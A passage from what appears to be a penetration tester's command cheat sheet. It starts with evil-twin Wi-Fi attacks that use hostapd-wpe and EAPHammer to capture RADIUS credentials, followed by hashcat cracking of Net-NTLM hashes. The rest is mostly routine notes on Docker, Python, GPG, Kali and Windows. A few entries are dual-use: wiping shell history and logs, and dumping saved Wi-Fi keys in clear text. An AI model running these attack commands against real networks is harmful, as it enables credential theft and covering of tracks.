$ sudo vi /etc/hostapd-wpe/hostapd-wpe.conf
...
interface=wlan1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ssid=NotEvilTwinAP
channel=1
hw_mode=b
auth_server_addr=127.0.0.1
auth_server_port=18120
auth_server_shared_secret=S3cr3t!
wpa_pairwise=TKIP CCMP

3. Run fake AP with RADIUS server

$ sudo airmon-ng check kill
$ sudo /usr/sbin/hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

4. Crack Net-NTLM hashes (mask example)

$ hashcat -m 5500 -a 3 net-ntlmv1.txt -1 ?d?l ?1?1?1?1?1?1?1?1
$ hashcat -m 5500 -a 3 net-ntlmv1.txt -1 ?d?l?u ?1?1?1?1?1?1?1?1
$ hashcat -m 5500 -a 3 net-ntlmv1.txt -1 ?d?l?u?s ?1?1?1?1?1?1?1?1

apd_launchpad

$ python ~/tools/apd_launchpad/apd_launchpad.py -t radius -s MegaCorp -i wlan1 -ch 1 -cn '*.megacorp.local' -o MegaCorp
$ vi radius/radius.conf
...
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user

EAPHammer

Setup:

$ git clone https://github.com/s0lst1c3/eaphammer.git ~/tools/eaphammer && cd ~/tools/eaphammer
$ sudo ./kali-setup
$ sudo python3 -m pip install flask-cors flask-socketio --upgrade

Create a certificate:

$ sudo ./eaphammer --cert-wizard

Steal RADIUS creds:

$ sudo ./eaphammer --bssid 1C:7E:E5:97:79:B1 --essid Example --channel 1 --interface wlan1 --auth wpa-eap --creds

Misc

WLAN channels

Signal Strength

Mindmaps

Git

Add SSH key to the ssh-agent:

$ eval "$(ssh-agent -s)"
$ ssh-add ~/.ssh/id_rsa

Test SSH key:

ssh -T [email protected]

Docker

$ docker ps -a
$ docker stop `docker container ls -aq`
$ docker rm -v `docker container ls -aq -f status=exited`
$ docker rmi `docker images -aq`
$ docker start -ai <CONTAINER>
$ docker cp project/. <CONTAINER>:/root/project
$ docker run --rm -ith <HOSTNAME> --name <NAME> ubuntu bash
$ docker build -t <USERNAME>/<IMAGE> .

Installation

Linux

docker-engine

$ sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common -y
(Ubuntu) $ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
(Kali) $ curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
[$ sudo apt-key fingerprint 0EBFCD88]
(Ubuntu) $ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
(Kali) $ echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
$ sudo apt update
[$ apt-cache policy docker-ce]
$ sudo apt install docker-ce -y
[$ sudo systemctl status docker]
$ sudo usermod -aG docker ${USER}
relogin
[$ docker run --rm hello-world]

docker-compose

$ sudo curl -L "https://github.com/docker/compose/releases/download/1.27.4/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
$ sudo chmod +x /usr/local/bin/docker-compose
$ sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

Python

Install/Update

$ sudo apt install software-properties-common -y
$ sudo add-apt-repository ppa:deadsnakes/ppa
$ sudo apt update && sudo apt install python3.7 -y

$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 1
$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.6 2
$ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 3
$ sudo update-alternatives --config python3

$ sudo apt install python[3]-pip -y
Or
$ wget https://bootstrap.pypa.io/get-pip.py
$ python[3] get-pip.py

$ sudo python3 -m pip install --upgrade pip

pip

freeze

$ pip freeze --local [-r requirements.txt] > requirements.txt

venv

$ sudo apt install python3-venv
$ python3 -m venv venv

virtualenv

$ sudo pip3 install virtualenv
$ virtualenv -p python3 venv
$ source venv/bin/activate
$ deactivate

virtualenvwrapper

$ sudo pip3 install virtualenvwrapper
$ export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
$ source /usr/local/bin/virtualenvwrapper.sh
(in ~/.zshrc)

$ mkvirtualenv env-name
$ workon
$ workon env-name
$ deactivate
$ rmvirtualenv env-name

pipenv

$ sudo pip install pipenv
$ pipenv --python python3 install [package]

$ pipenv shell
^D

$ pipenv run python script.py
$ pipenv lock -r > requirements.txt
$ pipenv --venv
$ pipenv --rm

Workaround for TypeError: 'module' object is not callable:

$ pipenv --python python3 install pip==18.0

Testing

doctest

doctest imported:

$ python3 example.py [-v]

doctest not imported:

$ python3 -m doctest example.py [-v]

Linting

flake8

$ python3 -m flake8 --ignore W191,E127,E226,E265,E501 somefile.py

pylint

$ python3 -m pylint -d C0111,C0122,C0330,W0312 --msg-template='{msg_id}:{line:3d},{column:2d}:{obj}:{msg}' somefile.py

PyPI

twine

$ python setup.py sdist bdist_wheel [--bdist-dir ~/temp/bdistwheel]
$ twine check dist/*
$ twine upload --repository-url https://test.pypi.org/legacy/ dist/*
$ twine upload dist/*

Misc

bpython

$ python3 -m pip install bpython

GPG

List keychain:

$ gpg --list-keys

Gen key:

$ gpg --full-generate-key [--expert]

Gen revoke cert:

$ gpg --output revoke.asc --gen-revoke [email protected]
revoke.asc

Export user's public key:

$ gpg --armor --output user.pub --export [email protected]
user.pub

Import recipient's public key:

$ gpg --import recipient.pub

Sign and encrypt:

$ gpg -o/--output encrypted.txt.gpg -e/--encrypt -s/--sign -u/--local-user [email protected] -r/--recipient [email protected] plaintext.txt
encrypted.txt.gpg

List recipients:

$ gpg --list-only -v -d/--decrypt encrypted.txt.gpg

Verify signature:

$ gpg --verify signed.txt.gpg
$ gpg --verify signed.txt.sig signed.txt

Decrypt and verify:

$ gpg -o/--output decrypted.txt -d/--decrypt --try-secret-key [email protected] encrypted.txt.gpg
$ gpg -o/--output decrypted.txt -d/--decrypt -u/--local-user [email protected] -r/--recipient [email protected] encrypted.txt.gpg

Signing Git Commits

Cache passphrase in gpg agent (dirty):

$ cd /tmp && touch aaa && gpg --sign aaa && rm aaa aaa.gpg && cd -

VirtualBox

DHCP

Cmd > "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" dhcpserver add --netname intnet --ip 10.0.1.1 --netmask 255.255.255.0 --lowerip 10.0.1.101 --upperip 10.0.1.254 --enable

Shared Folders

$ sudo usermod -aG vboxsf snovvcrash
$ sudo reboot

Dirty Network Configurations

Manually:

$ sudo service NetworkManager stop
$ sudo ifconfig 
$ sudo ifconfig eth0 10.10.13.37 netmask 255.255.255.0
$ sudo route add default gw 10.10.13.1 dev eth0
$ sudo route -n
$ sudo vi /etc/resolv.conf 
$ ping 8.8.8.8
$ nslookup ya.ru
$ sudo systemctl enable ssh --now

Route inner traffic to eth0 (lan), internet to wlan0 (wan):

$ sudo route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.0.1     0.0.0.0         UG    100    0        0 eth0
0.0.0.0         172.20.10.1     0.0.0.0         UG    600    0        0 wlan0
172.20.10.0     0.0.0.0         255.255.255.240 U     600    0        0 wlan0
192.168.0.0     0.0.0.0         255.255.255.0   U     100    0        0 eth0

$ sudo ip route add 192.168.0.0/16 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route add 172.16.0.0/12 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route add 10.0.0.0/8 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route del 0.0.0.0/0 via 192.168.0.1 dev eth0

$ sudo route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         172.20.10.1     0.0.0.0         UG    600    0        0 wlan0
10.0.0.0        192.168.0.1     255.0.0.0       UG    100    0        0 eth0
172.16.0.0      192.168.0.1     255.240.0.0     UG    100    0        0 eth0
172.20.10.0     0.0.0.0         255.255.255.240 U     600    0        0 wlan0
192.168.0.0     0.0.0.0         255.255.255.0   U     100    0        0 eth0
192.168.0.0     192.168.0.1     255.255.0.0     UG    100    0        0 eth0

$ sudo chattr -i /etc/resolv.conf
$ sudo vi /etc/resolv.conf
...change dns resolve order if necessary...

netplan

/etc/netplan/*.yaml:

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      addresses: [10.10.13.37/24]
      gateway4: 10.10.13.1
      dhcp4: true
      optional: true
      nameservers:
        addresses: [8.8.8.8,8.8.4.4]

$ sudo service NetworkManager stop
$ sudo netplan apply

Kali

Configure

Mix settings list (both for hardware install and virtualization):

[VM] Disable screen lock (Power Manager -> Display, Security -> OFF)
[VM] Configure networks (+ remember to configure VBox DHCP first)
[All] Update && Upgrade (+ change /etc/apt/sources.list to HTTPS if getting "403 Forbidden" because of AV)
	$ sudo apt update && sudo upgrade -y
	$ sudo reboot
[VM] Install guest additions
	* Insert Guest Additions CD image and open terminal there
	$ cp /media/cdrom0/VBoxLinuxAdditions.run ~/Desktop && chmod 755 ~/Desktop/VBoxLinuxAdditions.run && sudo ~/Desktop/VBoxLinuxAdditions.run
	$ sudo reboot
	$ rm ~/Desktop/VBoxLinuxAdditions.run && sudo eject
[ALL] Manage users
	* Enable root or create new user
		SWITCH {
			CASE (root):
				$ sudo -i
				$ passwd root
				* Re-login as root
			CASE (non-root):
				$ sudo useradd -m -s /bin/bash -u 1337 snovvcrash
				$ sudo passwd snovvcrash
				$ sudo usermod -aG sudo snovvcrash
				* Re-login as snovvcrash
		}
	* Disable kali user [VM]
		SWITCH {
			CASE (lock):
				$ sudo usermod -L kali && usermod -s /sbin/nologin kali && chage -E0 kali
			CASE (delete):
				$ sudo userdel -r kali
		}
[ALL] Configure sudo
	* Increase sudo password timeout value or disable password prompt completely
		SWITCH {
			CASE (increase timeout):
				$ sudo visudo
				"Defaults    env_reset,timestamp_timeout=45"
			CASE (disable password):
				$ sudo visudo
				"snovvcrash ALL=(ALL) NOPASSWD: ALL"
		}
[ALL] Install cmake
	$ sudo apt install cmake -y
[ALL] Clone dotfiles
	$ git clone https://github.com/snovvcrash/dotfiles-linux ~/.dotfiles
[ALL] Run ~/.dotfiles/00-autodeploy scripts on the discretion

VirtualBox

Guest Additions

Known issues:

Network

Configure multiple interfaces to work simultaneously:

$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# NAT
allow-hotplug eth0
iface eth0 inet dhcp

# Internal
allow-hotplug eth1
iface eth1 inet dhcp

# Host-only
allow-hotplug eth2
iface eth2 inet dhcp

# The loopback network interface
auto lo
iface lo inet loopback

$ ifup eth0
$ ifup eth1
$ ifup eth2

Share Folder (old)

Mount:

$ mkdir ~/Desktop/Share
$ mount -t vboxsf /mnt/share-host ~/Desktop/Share
Or (if mounted from VBox settings)
$ ln -s /mnt/share-host ~/Desktop/Share

$ sudo adduser $USER vboxsf

Automount:

$ crontab -e
"@reboot    sleep 10; mount -t vboxsf /mnt/share-host ~/Desktop/Share"

Unix

Encodings

From CP1252 to UTF-8:

$ iconv -f CP1252 -t UTF8 inputfile.txt -o outputfile.txt
Or
$ enconv -x UTF8 somefile.txt

Check:

$ enconv -d somefile.txt
Or
$ file -i somefile.txt

Remove ANSI escape codes:

$ awk '{ gsub("\\x1B\\[[0-?]*[ -/]*[@-~]", ""); print }' somefile.txt

Windows/Unix Text

input.txt: ASCII text
VS
input.txt: ASCII text, with CRLF line terminators

From Win to Unix:

$ awk '{ sub("\r$", ""); print }' input.txt > output.txt
Or
$ dos2unix input.txt

From Unix to Win:

$ awk 'sub("$", "\r")' input.txt > output.txt
Or
$ unix2dos input.txt

Network

Connections

$ netstat -anlp | grep LIST
$ ss -nlpt | grep LIST

Public IP

$ wget -q -O - https://ipinfo.io/ip

Virtual Terminal

Start:
CTRL + ALT + F1-6

Stop:
ALT + F8

Process Kill

$ ps aux | grep firefox
Or
$ pidof firefox

$ kill -15 <PID>
Or
$ kill -SIGTERM <PID>
Or
$ kill <PID>

If -15 signal didn't help, use stronger -9 signal:
$ kill -9 <PID>
Or
$ kill -SIGKILL <PID>

Dev

C Library Path

$ echo '#include <sys/types.h>'' | gcc -E -x c - | grep '/types.h'

Vangrind

$ valgrind --leak-check=full --track-origins=yes --leak-resolution=med ./a.out

OpenSSL

Encrypt/Decrypt

$ openssl enc -e -aes-128-ecb -in file.txt -out file.txt.ecb -K 10101010
$ openssl enc -d -aes-128-ecb -in file.txt.ecb -out file.txt.ecb_dec -K 10101010

$ echo 'secret_data1 + secret_data2 + secret_data3' | openssl enc -e -aes-256-cbc -a -salt -md sha256 -iv 10101010 -pass pass:qwerty
$ echo 'U2FsdGVkX1+d1qH1M3nhYFKscrg5QYt+AlTSBPHgdB4JEP8YSy1FX+xYdrfJ5cZgfoGrW+2On7lMxRIhKCUmWQ==' | openssl enc -d -aes-256-cbc -a -salt -md sha256 -iv 10101010 -pass pass:qwerty

Generate Keys

$ ssh-keygen -t rsa -b 4096 -N 's3cr3t_p4ssw0rd' -C '[email protected]' -f rsa_key
$ mv rsa_key rsa_key.old
$ openssl pkcs8 -topk8 -v2 des3 \
  -in rsa_key.old -passin 'pass:s3cr3t_p4ssw0rd' \
  -out rsa_key -passout 'pass:s3cr3t_p4ssw0rd'
$ chmod 600 rsa_key

$ openssl rsa -text -in rsa_key -passin 'pass:s3cr3t_p4ssw0rd'
$ openssl asn1parse -in rsa_key

$ ssh-keygen -o -a 100 -t ed25519 -f ~/.ssh/id_ed25519

Clear

Log Files

$ > logfile
Or
$ cat /dev/null > logfile
Or
$ dd if=/dev/null of=logfile
Or
$ truncate logfile --size 0

.bash_history

$ cat /dev/null > ~/.bash_history && history -c && exit

Secure Delete

$ shred -zvu -n7 /path/to/file
$ find /path/to/dir -type f -exec shred -zvu -n7 {} \;
$ shred -zv -n0 /dev/sdc1

Partitions

List devices:

$ lsblk
$ sudo fdisk -l
$ df -h

Manage partitions:

$ sudo fdisk /dev/sd??

Format:

$ sudo umount /dev/sd??
$ sudo mkfs.<type> -F 32 -I /dev/sd?? -n VOLUME-NAME
type: 'msdos' (=fat32), 'ntfs'

Floppy

$ mcopy -i floppy.img 123.txt ::123.txt
$ mdel -i floppy.img 123.TXT

Checksums

Compare file hashes:

$ md5sum /path/to/abc.txt | awk '{print $1, "/path/to/cba.txt"}' > /tmp/checksum.txt
$ md5sum -c /tmp/checksum.txt

Compare directory hashes:

$ hashdeep -c md5 -r /path/to/dir1 > dir1hashes.txt
$ hashdeep -c md5 -r -X -k dir1hashes.txt /path/to/dir2

Permissions

Set defaults for files:

$ find . -type f -exec chmod 644 {} \;

Set defaults for directories:

$ find . -type d -exec chmod 755 {} \;

Fix Linux Freezes while Copying

$ sudo crontab -l | { cat; echo '@reboot echo $((16*1024*1024)) > /proc/sys/vm/dirty_background_bytes'; } | crontab -
$ sudo crontab -l | { cat; echo '@reboot echo $((48*1024*1024)) > /proc/sys/vm/dirty_bytes'; } | crontab -

Kernel

Remove old kernels:

$ dpkg -l linux-image-\* | grep ^ii
$ kernelver=$(uname -r | sed -r 's/-[a-z]+//')
$ dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve $kernelver
$ sudo apt-get purge $(dpkg -l linux-{image,headers}-"[0-9]*" | awk '/ii/{print $2}' | grep -ve "$(uname -r | sed -r 's/-[a-z]+//')")

Xfce4

Install xfce4:

$ sudo apt update
$ sudo apt upgrade -y
$ sudo apt install xfce4 xfce4-terminal gtk2-engines-pixbuf -y

GIFs

$ sudo apt install peek -y
Or
$ sudo apt install byzanz xdotool -y
$ xdotool getmouselocation
$ byzanz-record --duration=15 --x=130 --y=90 --width=800 --height=500 ~/Desktop/out.gif

NTP

$ sudo apt purge ntp -y
$ sudo timedatectl set-timezone Europe/Moscow
$ sudo vi /etc/systemd/timesyncd.conf
NTP=0.ru.pool.ntp.org 1.ru.pool.ntp.org 2.ru.pool.ntp.org 3.ru.pool.ntp.org
$ sudo service systemd-timesyncd restart
$ sudo timedatectl set-ntp true
$ timedatectl status
$ service systemd-timesyncd status
$ service systemd-timedated status
  1. feeding.cloud.geek.nz/posts/time-synchronization-with-ntp-and-systemd/
  2. billauer.co.il/blog/2019/01/ntp-systemd/

ImageMagick

XOR 2 images:

$ convert img1.png img2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" img_out

Tools

tar

.tar

Pack:

tar -cvf filename.tar

Unpack:

tar -xvf filename.tar

.tar.gz

Pack:

tar -cvzf filename.tar.gz

Unpack:

tar -xvzf filename.tar.gz

.tar.bz

Pack:

tar -cvjf filename.tar.bz

Unpack:

tar -xvjf filename.tar.bz

7z

Encrypt and pack all files in directory::

$ 7z a packed.7z -mhe -p"p4sSw0rD" *

Decrypt and unpack:

$ 7z e packed.7z -p"p4sSw0rD"

grep/find/sed

Recursive grep:

$ grep -rnw /path/to/dir -e 'pattern'

Recursive find and replace:

$ find . -type f -name "*.txt" -exec sed -i'' -e 's/\<foo\>/bar/g' {} +

Exec strings and grep on the result with printing filenames:

$ find . -type f -print -exec sh -c 'strings $1 | grep -i -n "signature"' sh {} \;

Find and xargs grep results:

$ find . -type f -print0 | xargs -0 grep <PATTERN>

readlink

Get absolute path of a file:

$ readlink -f somefile.txt

dpkg

$ dpkg -s <package_name>
$ dpkg-query -W -f='${Status}' <package_name>
$ OUT="dpkg-query-$(date +'%FT%H%M%S').csv"; echo 'package,version' > ${OUT} && dpkg-query -W -f '${Package},${Version}\n' >> ${OUT}

iptables

List rules in all chains (default table is filter, there are mangle, nat and raw tables beside it):

$ sudo iptables -L -n --line-numbers [-t filter]

Print rules for all chains (for a specific chains):

$ sudo iptables -S [INPUT [1]]

fail2ban

# Filters location which turn into *user-defined* fail2ban iptables rules (automatically)
/etc/fail2ban/filter.d

# Status
$ sudo service fail2ban status
$ sudo fail2ban-client status
$ sudo fail2ban-client status sshd

# Unban all
$ sudo fail2ban-client unban --all

Git

Update to latest version:

$ sudo add-apt-repository ppa:git-core/ppa -y
$ sudo apt update
$ sudo apt install git -y
$ git version

Syncing a forked repository:

$ git remote add upstream https://github.com/original/repository.git
$ git fetch upstream

$ git checkout master
$ git rebase upstream/master (git merge upstream/master)
$ git push -f origin master

$ git checkout -b dev upstream/dev
$ git rebase upstream/dev (git merge upstream/dev)
$ git push -f origin dev

Working with a repository during a pull request:

$ git remote add upstream https://github.com/original/repository.git
$ git fetch upstream
$ git rebase upstream/master
$ git checkout upstream/master
$ git checkout -b new-pull-request
...Make changes...
$ gc -am "New pull request"
$ git push -u origin new-pull-request

Console Logging

script

$ script tool-$(date "+%FT%H%M%S").script

tmux

bash ~/.tmux/plugins/tmux-logging/scripts/screen_capture.sh
bash ~/.tmux/plugins/tmux-logging/scripts/save_complete_history.sh

Time in Prompt

bash

~/.bashrc (replace ! with %):

PS1='${debian_chroot:!($debian_chroot)}[\D!d}|\D{!k:!M}] \[\033[01;32m\]λ  \[\033[00m\]\[\033[01;34m\]\w\[\033[00m\] '

zsh

$ZSH_CUSTOM/themes/robbyrussell.zsh-theme (replace ! with %):

PROMPT="!(?:!{$fg_bold[green]!}➜ :!{$fg_bold[red]!}➜ ) "
PROMPT+='!{$fg[cyan]!}!(4~|!-1~/…/!2~|!3~)!{$reset_color!} $(git_prompt_info)'

if lsof -tac script "$(tty)" > /dev/null; then
    PROMPT="[!D{!d}|!D{!k:!M}]* $PROMPT"
else
    PROMPT="[!D{!d}|!D{!k:!M}] $PROMPT"
fi

Fun

CMatrix

$ sudo apt-get install cmatrix

screenfetch

$ wget -O screenfetch https://raw.github.com/KittyKatt/screenFetch/master/screenfetch-dev
$ chmod +x screenfetch
$ sudo mv screenfetch /usr/bin

Windows

Secure Delete

cipher

Cmd > cipher /w:H

sdelete

File:

Cmd > sdelete -p 7 testfile.txt

Directory (recursively):

Cmd > sdelete -p 7 -r "C:\temp"

Disk or partition:

Cmd > sdelete -p 7 -c H:

System Perfomance

Cmd > perfmon /res

Network

Connections and Routes

Cmd > netstat -b
Cmd > netstat -ano
Cmd > route print [-4]

Clean Cache

Cmd > netsh int ip reset
Cmd > netsh int tcp reset
Cmd > ipconfig /flushdns
Cmd > netsh winsock reset
Cmd > route -f
[Cmd> ipconfig -renew]

Hide/unhide computer name on LAN:

Cmd > net config server
Cmd > net config server /hidden:yes
Cmd > net config server /hidden:no
(+ reboot)

Symlinks

Cmd > mklink Link <FILE>
Cmd > mklink /D Link <DIRECTORY>

Wi-Fi Credentials

> netsh wlan show profiles
> netsh wlan show profiles "ESSID" key=clear

Installed Software

PS > Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize > InstalledSoftware.txt

ADS

PS > Get-Item 'file.txt' -Stream *
PS > Get-Content 'file.txt' -Stream Password
Or
PS > type 'file.txt:Password'

.msc

secpol.msc  -- "Local Security Policy" -- «Локальная политика безопасности»
gpedit.msc  -- "Local Group Policy Editor" -- «Редактор локальной групповой политики»
lusrmgr.msc -- "Local Users and Groups (Local)" -- «Локальные пользователи и группы (локально)»
certmgr.msc -- "Certificates - Current User" -- «Сертификаты - текущий пользователь»

KRShowKeyMgr

Run:

rundll32.exe keymgr.dll, KRShowKeyMgr

Permissions

Take own of a directory and remove it (run cmd.exe as admin):

Cmd > takeown /F C:\$Windows.~BT\* /R /A 
Cmd > icacls C:\$Windows.~BT\*.* /T /grant administrators:F 
Cmd > rmdir /S /Q C:\$Windows.~BT\

DISM

TelnetClient

Cmd > DISM /online /Enable-Feature /FeatureName:TelnetClient

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